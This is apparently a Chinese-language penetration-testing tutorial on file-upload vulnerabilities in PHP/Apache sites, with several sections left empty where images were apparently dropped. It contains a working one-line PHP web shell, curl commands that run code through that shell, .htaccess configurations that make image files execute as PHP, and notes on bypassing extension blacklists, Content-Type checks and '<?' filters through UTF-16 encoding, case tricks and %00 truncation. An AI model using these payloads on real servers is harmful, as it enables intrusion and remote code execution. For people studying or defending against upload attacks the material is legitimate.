摘要

文件上传

一句话木马

<?php @eval($_POST['hacker']); ?>

curl -d “hacker=echo get_current_user(); “ http://192.168.149.136:88/images/shell.php

curl -d “hacker=echo getcwd();” http://192.168.149.136:88/images/shell.php

后缀名绕过

黑名单

php30被解析为文本文件。

或者

Burpsuite抓取到的数据包,将Content-Type的类型改为允许上传的类型—> image/jpeg,然后再方放行数据包(forward),显示shell1.php文件上传成功。

.htaccess绕过

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、 禁止目录列表、配置默认文档等功能

Unix、Linux系统或者是任何版本的Apache Web服务器都是支持.htaccess的,但是有的主机服务商可能不允许你自定义自己的.htaccess
文件。

笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

第一种:所有文件都会被解析成php代码执行

1
2
3
<IfModule >
setHandler application/x-httpd-php
</IfModule >

第二种:将jpg文件解析为php代码执行

1
2
3
<FilesMatch "\.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

第三种:精确

1
2
3
4
<FilesMatch "1.png">
SetHandler application/x-httpd-php #在当前目录下,如果匹配到1.png文件,则被解析成PHP代码执行
AddHandler php5-script .png #在当前目录下,如果匹配到1.png文件,则被解析成PHP代码执行
</FilesMatch>
1
2
3
4
5
6
7
8
#define width 1337                
#define height 1337

AddType application/x-httpd-php .png

php_value zend.multibyte 1
php_value zend.detect_unicode 1
php_value display_errors 1

对<?过滤的绕过姿势

可以用utf-16编码绕过

第一步:

第二步:

新建一个文件,用winhex写入数据即可。

大小写绕过

windows 大小写通用

linux大小写敏感

Windows文件流特性绕过

%00截断绕过

例题:

抓包

成功修改,放行

文件头检测绕过